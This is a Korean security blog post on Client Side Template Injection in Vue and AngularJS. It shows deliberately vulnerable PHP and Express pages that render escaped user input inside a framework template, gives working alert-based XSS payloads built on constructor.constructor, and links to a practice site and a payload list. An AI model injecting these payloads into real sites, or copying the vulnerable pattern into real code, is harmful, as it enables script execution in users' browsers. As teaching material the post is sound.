2003

[WEB] CSTI(Client Side Template Injection) 취약점 본문

보안/WEB

[WEB] CSTI(Client Side Template Injection) 취약점

saya. 2024. 2. 21. 15:57

프론트엔드 프레임워크

  • 다양한 개발의 편의성 제공
  • DOM 내의 데이터를 수정하기에 간편
  • 웹 페이지를 컴포넌트화 하여 작성할 수 있음
  • Vue, React, AngularJS

 

Client Side Template Injection

  • 사용자의 입력 값이 client side template framework에 의해 템플릿으로 해석되어 렌더링 될 때 발생함
  • 이를 악용하여 악성 스크립트를 실행하거나 사용자의 브라우저에서 다른 액션을 취하도록 유도할 수 있음

 


Vue

  • 사용자 인터페이스를 위한 JavaScript 프레임워크
  • 리액티브 데이터 바인딩: 데이터와 UI 간의 동적인 바인딩을 통해 데이터의 변경에 따라 UI가 자동으로 업데이트됨
  • 컴포넌트 기반 아키텍처: UI를 독립적인 컴포넌트로 나누어 재사용성이 높고 유지보수가 용이
  • 가상 DOM: 변화를 추적하고 최소한의 DOM 조작만을 수행하여 성능을 향상
  • 단순성과 유연성: 핵심 라이브러리의 크기가 작고 배우기 쉬움
<script src="https://unpkg.com/vue@3"></script>

<div id="app">
	<?php echo htmlspecialchars($_GET['msg']); ?>
</div>

<script>
  Vue.createApp({
    data() {
      return {
        message: 'Hello Vue!'
      }
    }
  }).mount('#app')
</script>

취약한 Vue 예제

 

  • 이용자로부터 입력받은 GET 메소드의 msg 파라미터를 그대로 출력하지만, htmlspecialchars 함수를 통해 꺽쇠 문자가 모두 인코딩되기 때문에 일반적인 XSS 공격은 불가능
  • 하지만 출력되는 값이 Vue의 템플릿으로 사용될 수 있기 때문에 Template Injection이 발생

 

아래 사이트에서 실습해 볼 수 있습니다.

https://vue-client-side-template-injection-example.azu.vercel.app/

 

https://vue-client-side-template-injection-example.azu.vercel.app/

Hello ?name=undefined Source Code

vue-client-side-template-injection-example.azu.vercel.app

const express = require('express');
const helmet = require('helmet');
const escapeHTML = require('escape-html');

const app = express();

app.use(helmet());

app.get('/', (req, res) => {
  res.set('Content-Type', 'text/html');
  const name = req.query.name
  res.status(200).send(`<!DOCTYPE html>
<html>
<body>
  <div id="app">
    <h1>Hello ?name=${escapeHTML(name)}</h1>
  </div>
  <footer>
  <a href="https://github.com/azu/vue-client-side-template-injection-example">Source Code</a>
  </footer>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.5.13/dist/vue.js"></script>
  <script>
      new Vue({
        el: '#app'
      });
  </script>
</body>
</html>`);
});

module.exports = app;

 

Payload 

Vue 템플릿 컨텍스트 내에서 생성자에 접근하여 XSS 실행 가능

{{_openBlock.constructor('alert(1)')()}} /* v3 */
{{constructor.constructor('alert("CSTI XSS")')()}} /* v2 */

 


 

AngularJS

Google에서 개발한 오픈 소스 프론트엔드 웹 애플리케이션 프레임워크

HTML, CSS 및 JavaScript를 사용하여 동적인 웹 애플리케이션을 빌드하는 데 도움이 되는 많은 기능을 제공

 

  • MVVM 아키텍처 사용
  • 데이터 바인딩: 양방향 데이터 바인딩을 제공하여 모델과 뷰 간의 실시간 데이터 동기화 가능
  • 지시자(Directives): HTML의 새로운 구문을 만들어 추가적인 기능을 제공함. ng-app, ng-model, ng-repeat 등의 지시자를 사용하여 HTML에 AngularJS의 동작을 정의 가능
  • 의존성 주입(Dependency Injection): 의존성 주입을 지원하여 애플리케이션의 컴포넌트 간의 의존성을 관리하고 결합도를 낮추어 코드의 재사용성을 높이고 테스트하기 쉽게 만듦
  • 루트 모듈 및 컴포넌트 기반 개발: 애플리케이션이 모듈과 컴포넌트로 구성되어 이를 조합하여 복잡한 애플리케이션을 구축
<!doctype html>
<html ng-app>
  <head>
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
  </head>
  <body>
      <?php echo htmlspecialchars($_GET['msg']); ?>
  </body>
</html>

취약한 AngularJS 예제

 

  • 이용자로부터 입력받은 GET 메소드의 msg 파라미터를 그대로 출력
  • htmlspecialchars 함수를 통해 꺽쇠 문자가 모두 인코딩되기 때문에 일반적인 XSS 공격은 불가능
  • 출력되는 값이 AngularJS의 템플릿으로 사용될 수 있기 때문에 Template Injection이 발생

 

Payload 

{{constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
  • constructor.constructor를 통해 Function 객체의 생성자 함수에 접근하고, 이를 이용하여 새로운 함수를 생성함
  • 생성된 함수를 호출하여 alert("1")을 실행함
  • 꺾쇠와 같은 특수문자가 필터링 되어 있어도 XSS 공격이 가능한 것을 알 수 있음

더 많은 페이로드 참고: https://gist.github.com/mccabe615/cc92daaf368c9f5e15eda371728083a3